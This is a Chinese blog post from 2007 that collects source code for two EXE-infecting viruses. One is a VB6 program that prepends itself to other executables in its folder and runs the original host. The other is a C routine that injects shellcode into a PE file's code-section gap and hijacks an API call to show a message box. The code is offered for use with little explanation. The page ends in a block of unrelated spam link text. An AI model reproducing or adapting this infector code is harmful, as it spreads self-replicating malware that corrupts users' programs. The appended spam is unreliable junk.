• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            elva

            感染EXE

            收集兩篇感染exe的文章,有時間了把它寫出來

            VB:

            Option Explicit
            Private Victim As String '要感染的文件的名字
            Private HostLen As Long '要感染的文件的大小
            Private vbArray() As Byte '病毒的代碼
            Private hArray() As Byte '要感染的文件的代碼
            Private lenght As Long
            Private MySize As Integer '病毒的大小

            Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
            Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
            Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
            Private iResult As Long
            Private hProg As Long
            Private idProg As Long
            Private iExit As Long
            Const STILL_ACTIVE As Long = &H103
            Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

            Private Sub form_Initialize()
            Dim i As Long
            On Error GoTo vbVerror '出錯處理

            '原理:將生成病毒文件的代碼讀出,粘在要被感染的文件的后面。
            Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read _
            As #1
            ReDim MyArray(LOF(1) - 1)
            MySize = LOF(1)
            ReDim vbArray(MySize)
            Get #1, 1, vbArray
            Close #1
            '這是在讀自己的代碼


            Victim = Dir(App.Path & "\" & "*.EXE") '隨便選一個文件(目前只是在病毒所在的目錄下隨機選一個,將來你可以修改,讓它不斷的循環搜索計算機上的所有文件。)
            While Victim <> ""

            If format(Victim, ">") <> format(App.EXEName & ".EXE", ">") Then
            Open App.Path & "\" & Victim For Binary Access Read As #1
            ReDim hArray(LOF(1))
            Get #1, 1, hArray
            Close #1
            '讀出病毒自身的代碼


            If hArray(&H69) <> &H4D Then

            i = hArray(&H3C)
            If hArray(i) = &H50 Then
            Open App.Path & "\" & Victim For Binary Access Write As #1
            Put #1, , vbArray
            Put #1, MySize, hArray
            Close #1
            End If '要保證被感染的不是空文件(不是圈套)
            End If
            End If
            '讀出準備被感染的文件的代碼

            Victim = Dir() 'Next

            Wend

            '下面的工作是為了保證病毒不會重復感染一個文件,也不會自我感染。

            Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
            lenght = LOF(1) - MySize
            If lenght <> 0 Then
            ReDim vbArray(lenght - 1)
            Get #1, MySize, vbArray
            Close #1

            Open App.Path & "\" & App.EXEName & ".eve" For Binary Access Write As #1
            Put #1, , vbArray
            Close #1


            idProg = Shell(App.Path & "\" & App.EXEName & ".eve", vbNormalFocus)
            hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
            GetExitCodeProcess hProg, iExit
            Do While iExit = STILL_ACTIVE
            DoEvents
            GetExitCodeProcess hProg, iExit
            Loop
            Kill App.Path & "\" & App.EXEName & ".eve"

            Else
            Close #1

            End If

            End

            vbVerror: '出錯處理,空著就可以了

            End Sub



            VC:

            /**************************************************************
            * 函數:InjectCode
            * 參數:char szHostFile[]--待感染的exe文件路徑

            * 功能:感染一個exe程序,運行顯示“金豬拜年”的MessageBox
            * 從代碼節開始搜索,替換第一個發現的call api的指令
            * 把目標代碼插入代碼節的尾部
            * 代碼僅供演示之用,沒有做過多的錯誤處理
            * 感染當前hello.exe,插入一段彈出對話框代碼(當然你可以修改成啟動文件的代碼,嘿嘿)
            * coded by robinh00d
            * robinh00d_at_163.com
            * 編譯:cl epo.c
            **************************************************************/
            int InjectCode(char szHostFile[])
            {//#include <windows.h>
                PIMAGE_DOS_HEADER pImageDosHeader ;
                PIMAGE_NT_HEADERS pImageNtHeaders ;
                PIMAGE_SECTION_HEADER pImageSectionHeader;
                unsigned char thunkcode[] = "\x60\x9c\xe8\x00\x00\x00\x00\x5b"
                                        "\x81\xeb\x0d\x10\x40\x00\x6a\x00"
                                        "\x8d\x83\x30\x10\x40\x00\x50\x50"
                                        "\x6a\x00\xb8\x78\x56\x34\x12\xff"
                                        "\xd0\x9d\x61\xff\x25\x3a\x10\x40"
                                        "\x00\x90\xBD\xF0\xD6\xED\xB0\xDD"
                                        "\xC4\xEA\x00";
                HANDLE hFile ;
                HANDLE hMap ;
                LPVOID pMapping ;
                DWORD dwGapSize ;
                unsigned char *pGapEntry ;
                int i ;
                PROC MsgBox ;
                DWORD OldEntry ;
                int x = 0x18 ;
                int vir_len ;
                unsigned char *pSearch ;
                DWORD *dwCallNextAddr ;
                DWORD *dwCallDataOffset ;
                DWORD *dwCallDataAddr ;
                DWORD dwCallData ;
                DWORD dwCodeDistance ;
                DWORD *dwJmpAddr ;
                DWORD dwJmpData ;
                DWORD dwJmpVA ;

                //:::
                hFile = CreateFile(szHostFile,
                                    FILE_SHARE_READ|FILE_SHARE_WRITE,
                                    FILE_SHARE_READ|FILE_SHARE_WRITE,
                                    NULL,
                                    OPEN_EXISTING,
                                    FILE_ATTRIBUTE_NORMAL,
                                    NULL) ;
                                   
                if (hFile==INVALID_HANDLE_VALUE)
                {
                    return -1 ;
                }
               
                hMap = CreateFileMapping(hFile,
                                        NULL,
                                        PAGE_READWRITE,
                                        0,
                                        0,
                                        NULL) ;
                if (!hMap)
                    return -1 ;
               
                pMapping = MapViewOfFile(hMap,
                                    FILE_MAP_ALL_ACCESS,
                                    0,
                                    0,
                                    0) ;
                if (!pMapping)
                    return -1 ;
               
                pImageDosHeader = (PIMAGE_DOS_HEADER)pMapping ;
                if (pImageDosHeader->e_magic==IMAGE_DOS_SIGNATURE)
                {
                    pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)pMapping+pImageDosHeader->e_lfanew) ;
                    if (pImageNtHeaders->Signature==IMAGE_NT_SIGNATURE)
                    {
                        pImageSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pMapping+
                                                                        pImageDosHeader->e_lfanew+
                                                                        sizeof(IMAGE_NT_HEADERS)) ;
                        dwGapSize = pImageSectionHeader->SizeOfRawData - pImageSectionHeader-

            >Misc.VirtualSize ;
                       
                        if (sizeof(thunkcode)>dwGapSize)
                            goto Close ;
                           
                        pGapEntry = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                                                        (DWORD)pMapping+
                                                        pImageSectionHeader->Misc.VirtualSize) ;
                       
                        OldEntry = pImageNtHeaders->OptionalHeader.ImageBase+
                                    pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;

                        MsgBox = (PROC)GetProcAddress(LoadLibrary("user32.dll"),"MessageBoxA") ;

                        //修改為當前系統的MessageBoxA地址
                        for (i=3;i>=0;i--)
                        {
                            thunkcode[i+27] = ((unsigned int)MsgBox>>x)&0xff ;
                            x -= 8 ;
                        }
                        x = 24 ;
                       
                        vir_len = (int)pImageSectionHeader->Misc.VirtualSize ;
                       
                        pSearch = (unsigned char *)(pImageSectionHeader->PointerToRawData+
                                    (DWORD)pMapping) ;
                                   
                        //:::搜索call指令(0xe8)
                        for (i=0;i<vir_len;i++)
                        {
                            if (pSearch[i]==0xe8)
                            {
                                dwCallDataAddr = (DWORD *)(&pSearch[i]+1) ;
                                dwCallNextAddr=(DWORD *)(&pSearch[i]+5) ;
                                dwJmpAddr = (DWORD *)(*dwCallDataAddr+ (DWORD)dwCallNextAddr) ;
                                dwJmpVA = (DWORD)dwJmpAddr-
                                            ((DWORD)pMapping+pImageSectionHeader->PointerToRawData)+
                                            pImageNtHeaders->OptionalHeader.ImageBase+
                                            pImageNtHeaders->OptionalHeader.AddressOfEntryPoint ;
                                dwJmpData = *((DWORD *)((unsigned char *)dwJmpAddr+2)) ;

                                if ((*dwJmpAddr&0xffff)==0x25ff)
                                {
                                    dwCodeDistance = (DWORD)pGapEntry - (DWORD)dwCallNextAddr ;
                                    *dwCallDataAddr = dwCodeDistance ;
                                    for (i=3;i>=0;i--)
                                    {
                                        thunkcode[i+37] = ((unsigned int)dwJmpData>>x)&0xff ;
                                        x -= 8 ;
                                    }
                                    for (i=0;i<sizeof(thunkcode);i++)
                                    {
                                        pGapEntry[i] = thunkcode[i] ;
                                    }
                                    break ;
                                }
                            }
                           
                        }
                       
                    }
                }

            Close:
                UnmapViewOfFile(pMapping) ;
                CloseHandle(hMap) ;
                CloseHandle(hFile) ;
               
                return 0 ;
            }

            posted on 2007-10-08 14:21 葉子 閱讀(1058) 評論(0)  編輯 收藏 引用 所屬分類: 技術研究

            亚洲精品无码久久久久sm| 国产精品久久亚洲不卡动漫| 国产激情久久久久影院小草| 欧美日韩精品久久久久| 久久精品国产色蜜蜜麻豆| 人妻精品久久久久中文字幕69| 久久精品人人做人人爽电影| 久久婷婷五月综合色99啪ak| 久久久久高潮毛片免费全部播放| 久久91精品国产91久久麻豆| 国产精品久久久久a影院| 2021久久国自产拍精品| 亚洲人成无码网站久久99热国产| 久久午夜伦鲁片免费无码| 日韩欧美亚洲综合久久影院Ds| 欧美丰满熟妇BBB久久久| 亚洲国产精品无码久久青草 | 亚洲国产成人乱码精品女人久久久不卡 | 久久丫精品国产亚洲av| 精品无码久久久久久国产| 色偷偷88888欧美精品久久久| 久久99精品国产麻豆蜜芽| 色欲久久久天天天综合网| 香蕉久久影院| 色婷婷久久久SWAG精品| 一级做a爱片久久毛片| 久久66热人妻偷产精品9| 少妇无套内谢久久久久| 欧美日韩成人精品久久久免费看| 亚洲成色999久久网站| 四虎国产永久免费久久| 久久99精品久久只有精品 | 久久精品99久久香蕉国产色戒| 香蕉久久夜色精品国产2020| 久久国产成人午夜AV影院| 久久久受www免费人成| 久久久精品视频免费观看| 久久成人18免费网站| 久久精品无码一区二区日韩AV| 国内精品久久久久久久涩爱| 国产无套内射久久久国产|